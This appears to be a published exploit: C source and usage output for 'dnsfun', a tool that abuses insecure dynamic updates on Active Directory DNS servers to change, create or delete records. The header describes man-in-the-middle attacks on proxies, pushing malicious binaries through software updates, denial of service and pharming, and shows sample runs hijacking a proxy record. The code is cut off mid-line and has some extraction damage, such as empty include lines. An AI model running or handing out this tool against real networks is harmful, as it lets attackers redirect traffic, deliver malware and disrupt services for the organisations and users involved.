Microsoft DNS Server (Dynamic DNS Updates) Remote Exploit

/*
Exploiting Microsoft DNS Dynamic Updates for Fun and profit
Andres Tarasco Acu?a - (c) 2007
Url: http://www.514.es

By default, most Microsoft DNS servers integrated with active directory allow
insecure dynamic updates for dns records.
This feature allows remote users to create, change and delete DNS records.
There are several attack scenarios:
MITM attacks: Changing dns records for the network proxy and relay HTTP queries.
This attack vector is the most reliable and also allows us to exploit automatic
updates for most Windows software, by deploying custom binaries to the client.
Denial of service: by deleting / changing critical dns records
Pharming: like mitm attacks, poisoning several dns records.
dnsfun exploits that weak configuration and allows remote users to modify dns records.
Here are some examples of what can be done. Example:
D:\DNSfun>ping -n 1 FakeProxy.fooooo.com
Haciendo ping a FakeProxy.fooooo.com [66.6.66.6] con 32 bytes de datos:

D:\DNSfun>dnsfun.exe -s 10.100.1.1 -q proxy.mydomain -u 66.6.66.6
Microsoft Dynamic DNS Updates - Proof of Concept
http://www.514.es - (c) 2007 Andres Tarasco Acu?a

[ ] Trying to resolve Host: proxy.mydomain (Dns Server 10.100.1.1)
[ ] Host proxy.mydomain resolved as 192.168.1.200
[ ] Trying to set ip address of the host proxy.mydomain to 66.6.66.6
[ ] Trying Nonsecure Dynamic Update...
[?] Host Updated. Checking...(0)
[ ] Host proxy.mydomain resolved as 66.6.66.6
D:\DNSfun>dnsfun.exe -s 10.100.1.1 -cc atarasco.mydomain.com -u www.514.es
Microsoft Dynamic DNS Updates - Proof of Concept
http://www.514.es - (c) 2007 Andres Tarasco Acu?a
[ ] Gathering Credentials..
[ ] Creating DNS CName Record for atarasco.mydomain.com (www.514.es)
[ ] Host Created. Rechecking Record...
[ ] Host atarasco.mydomain.com resolved as CNAME www.514.es
This isn't a new vulnerability but AFAIK those attack vectors were never exploited.
Check the usage function for more information
*/
#include
#include
#include
#pragma comment(lib,"Dnsapi.lib")
#pragma comment(lib, "ws2_32.lib")
char TargetDnsServer[256]=""; // -s
char TargetDnsRecord[256]=""; // -q
char NewIpAddress[256]=""; // -i
char DeleteDnsRecord[256]=""; //-d
char CreateDnsRecord[256]="";
WORD CreationType=DNS_TYPE_A;
#define DELETERECORD (DeleteDnsRecord[0]!='\0')
#define UPDATERECORD ( (TargetDnsRecord[0]!='\0') && (NewIpAddress[0]!='\0') )
#define CREATERECORD ( (CreateDnsRecord[0]!='\0') && (NewIpAddress[0]!='\0') )
#define QUERYRECORD (TargetDnsRecord[0]!='\0')
#define _DBG_
#undef _DBG_
void usage(char *argv[]);
DNS_RECORDA *DnsQueryA(char *name,IP4_ARRAY *servers)
{

DNS_STATUS status;
WORD type= DNS_TYPE_ANY;
DWORD fOptions=DNS_QUERY_BYPASS_CACHE | DNS_QUERY_NO_LOCAL_NAME |DNS_QUERY_NO_HOSTS_FILE | DNS_QUERY_NO_NETBT | DNS_QUERY_TREAT_AS_FQDN;
PVOID* reserved=NULL;
DNS_RECORDA *records=(PDNS_RECORDA)malloc(sizeof(DNS_RECORDA));
DNS_RECORDA *result;
IN_ADDR ipaddr;
int i;
int count=0;

if (!name) {
return (NULL);
} else {
memset(records,'\0',sizeof(DNS_RECORDA));
status = DnsQuery_A( name, //PCWSTR pszName,
type, //WORD wType,
fOptions, //DWORD fOptions,
servers, //PIP4_ARRAY aipServers,
(DNS_RECORDA**)&records, //PDNS_RECORD* ppQueryResultsSet,
reserved ); //PVOID* pReserved

if (status == ERROR_SUCCESS)
{
fflush(stdout);
result=records;
do {
#ifdef _DBG_
printf("[ ] Record %i---\n",count);
count ;
printf("[ ] DNS wDataLength %i\n",result->wDataLength);
printf("[ ] DNS Flags DW: %x\n",result->Flags.DW);
printf("[ ] DNS Flags S.Section: %x\n",result->Flags.S.Section);
printf("[ ] DNS Flags S.Delete: %x\n",result->Flags.S.Delete);
printf("[ ] DNS Flags S.CharSet: %x\n",result->Flags.S.CharSet);
printf("[ ] DNS Flags S.Unused: %x\n",result->Flags.S.Unused);
printf("[ ] DNS Flags S.Reserved: %x\n",result->Flags.S.Reserved);
#endif
switch (result->wType) {
case DNS_TYPE_A:
ipaddr.S_un.S_addr = (result->Data.A.IpAddress);
printf("[ ] Host %s resolved as %s\n", result->pName,inet_ntoa(ipaddr));
break;
case DNS_TYPE_NS:
printf("[ ] Domain %s Dns Servers: %s\n",result->pName,result->Data.Ns.pNameHost);
break;
case DNS_TYPE_CNAME:
printf("[ ] Host %s resolved as CNAME %s\n", result->pName,result->Data.Cname.pNameHost);
//DnsQueryA(result->Data.Cname.pNameHost,servers);
break;

case DNS_TYPE_SOA:
printf("[ ] SOA Information: PrimaryServer: %s\n",result->Data.Soa.pNamePrimaryServer);
printf("[ ] SOA Information: Administrator: %s\n",result->Data.Soa.pNameAdministrator);
printf("[ ] SOA Information: SerialNo %x - Refresh %i - retry %i - Expire %i - DefaultTld %i\n",
result->Data.Soa.dwSerialNo,
result->Data.Soa.dwRefresh,
result->Data.Soa.dwRetry,
result->Data.Soa.dwExpire,
result->Data.Soa.dwDefaultTtl);
break;

case DNS_TYPE_MX:
printf("[ ] %s MX Server resolved as %s (Preference %i)\n", result->pName,result->Data.Mx.pNameExchange, result->Data.Mx.wPreference);
break;
case DNS_TYPE_TEXT:
printf("[ ] Text: %i bytes\n",result->Data.Txt.dwStringCount); //:?
break;
case DNS_TYPE_SRV:
printf("[ ] SRV Record. NameTarget %s ",result->Data.Srv.pNameTarget);
printf("(Priority %i - Port %i - Weigth: %i)\n",result->Data.Srv.wPriority,result->Data.Srv.wPort,result->Data.Srv.wWeight);
//printf("[ ] Resource Pad %i \n",result->Data.Srv.Pad);
break;

default:
printf("[-] DnsQuery returned unknown wtype %x\n",result->wType);
break;
}
result=result->pNext;
} while (result!=NULL);
} else {
if (status==9003) printf("[-] Re